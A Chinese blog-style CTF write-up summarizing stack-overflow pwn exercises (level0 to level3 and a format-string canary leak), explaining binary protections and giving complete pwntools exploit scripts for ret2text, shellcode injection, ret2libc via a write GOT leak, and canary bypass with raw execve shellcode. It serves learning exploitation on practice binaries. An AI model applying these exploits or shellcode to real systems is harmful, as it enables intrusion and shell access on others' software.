栈溢出PWN练习总结

Level0

首先拿到题目后,先用虚拟机判断一下文件的类型,有什么保护机制

由图可知,level0这个文件是64位的,没有任何保护机制。再运行一下程序,

拖进IDA后发现,里面有个callsystem函数,所以数据就是从这泄露的。所以编写脚本

from pwn import *
 
p = remote('111.198.29.45',33907)
elf = ELF('./level0')
sysaddr = elf.symbols['callsystem']
payload = 'a'*(0x80 + 8) + p64(sysaddr)
p.recv()
p.send(payload)
p.interactive()

运行得到flag。

拿到题目后首先要查看文件类型,保护机制,再用IDA来看伪代码。其实我本人对文件的二进制保护也是不太懂的,所以专门找了资料。

Canary(栈保护)

这个选项表示栈保护功能有没有开启。

栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。

2.NX/DEP(堆栈不可执行)

NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

3.PIE/ASLR(地址随机化)

 

4.Fortify 

这个保护机制查了很久都没有个很好的汉语形容,根据我的理解它其实和栈保护都是gcc的新的为了增强保护的一种机制,防止缓冲区溢出攻击。由于并不是太常见,也没有太多的了解。

5.RelRO

设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。

这样解释可能会太多,还有个版本

  • Arch,该项位程序的位数,显示位32位程序。
  • RELRO,RELRO会有Partial RELRO和FULL RELRO,如果开启了FULL RELRO,那么我们将无法修改got表,关于got表后面的文章遇到了再讲解。
  • Stack,栈中是否开启了Canary found,如果该项保护被打开那么我们将无法直接覆盖EIP让程序任意跳转,因为在跳转后将会进行cookie校验,该项保护是可以绕过的,遇到的时候将详细分析。
  • NX,该项表示堆栈是否可执行,如果开启了该项保护,那么我们的shellcode将不能被执行。
  • PIE,该项表示地址随机化保护,如果开启了该项那么程序每次运行的地址都会变化,如果未开启那么No PIE(0x8048000)括号内的代表程序基址。

Level1

可知与level0相同。

拖进IDA中发现没有callsystem函数,所以要用shellcode

from pwn import *
context(arch='i386',os='linux')
p=process("./level1")
#p=remote("pwn2.jarvisoj.com",9877)
p.recvline()
stack_addr=int(p.recv(10),16)
payload=asm(shellcraft.sh()).ljust(0x88)+"A"*4+p32(stack_addr)
p.sendline(payload)
p.interactive()

Level2

拖进IDA后,打开字符窗口,会有system和/bin/sh

所以从这两个地方入手,脚本如下:

from pwn import *
  
context(arch='i386',os='linux')
elf=ELF('./level2')
sysaddr=elf.symbols['system']
shaddr=elf.search('/bin/sh').next()
payload='A' * (0x88+0x4) +p32(sysaddr)+p32(0)+p32(shaddr)
p=remote('111.198.29.45',46661)
p.sendlineafter("Input:\n",payload)
p.interactive()
p.close()

Level3

拖进ida中,会发现有一个write函数。

ssize_t write(int fd,const void*buf,size_t count);
参数说明:
  fd:是文件描述符(write所对应的是写,即就是1)
  buf:通常是一个字符串,需要写入的字符串
  count:是每次写入的字节数
 成功:返回写入的字节数
 失败:返回-1并设置errno
  ps: 写常规文件时,write的返回值通常等于请求写的字节
       数count, 而向终端设备或者网络写时则不一定

所以从write函数入手,获取system和/bin/sh。

from pwn import*
context.log_level="DEBUG"
p=remote("pwn2.jarvisoj.com","9879")
elf=ELF("level3")
plt_write=elf.plt["write"]
main_addr=0x08048484
p.recvline()
payload = "A" * 0x88 + "A" * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(elf.got["write"]) + p32(4)
p.send(payload)
write_addr=u32(p.recv(4))
print "write_addr="+hex(write_addr)

libc=ELF("libc-2.19.so")
bss_addr=0x0804a024
libc_system=libc.symbols["system"]
libc_binsh=next(libc.search("/bin/sh"))
libc_write=libc.symbols["write"]

system_addr=write_addr-libc_write+libc_system
binsh_addr=write_addr-libc_write+libc_binsh
print "system_addr="+hex(system_addr)

p.recvline()

payload = "A" * 0x88 + "A" * 4 + p32(system_addr) + p32(0) + p32(binsh_addr)
p.sendline(payload)
p.interactive()

 

格式化字符串泄露canary---pwn1

Canary主要用于防护栈溢出攻击。我们知道,在32位系统上,对于栈溢出漏洞,攻击者通常是通过溢出栈缓冲区,覆盖栈上保存的函数返回地址来达到劫持程序执行流的目的。
Stack canary保护机制在刚进入函数时,在栈上放置一个标志canary,然后 在函数结束时,判断该标志是否被改变,如果被改变,则表示有攻击行为发生。

第一步,先调试,找出canary的位置。

经计算,canary与栈顶相差30。图中箭头所指即为canary。又因为栈底与canary相差12,而整个的大小为116。所以脚本如下:

from pwn import *

shellcode="\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f" \
    "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0" \
    "\x0b\xcd\x80\n"
context.log_level='debug'
p=process("./pwn1")
#p=remote('172.16.80.240',8000)


#########################leak canary,prev_ebp_addr################
p.recvuntil('name:')
p.sendline('%p.'*40)
leak_data=p.recvuntil('messages:')
address=leak_data.split('.')
for i in range(len(address)):
	print str(i)+':'+str(address[i])
canary=address[30]
print "canary="+canary
prev_ebp_addr=address[33]
print "stack_addr="+prev_ebp_addr

#########################get shellcode_addr########################
shellcode_addr=int(prev_ebp_addr,16)-144+0x8          

#########################send shellcode and get shell##############
payload='a'*100+p32(int(canary,16))+'A'*12+p32(shellcode_addr)+shellcode
p.sendline(payload)
p.interactive()

不管做哪道题,都要一步一步来,分清题目类型。先checksec,在拖进IDA中观察,一定要看伪代码,字符串和函数。然后找地址,找地址一定先调试,然后编写脚本。

本人还是一个小白,有错误的地方,是正常的。

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值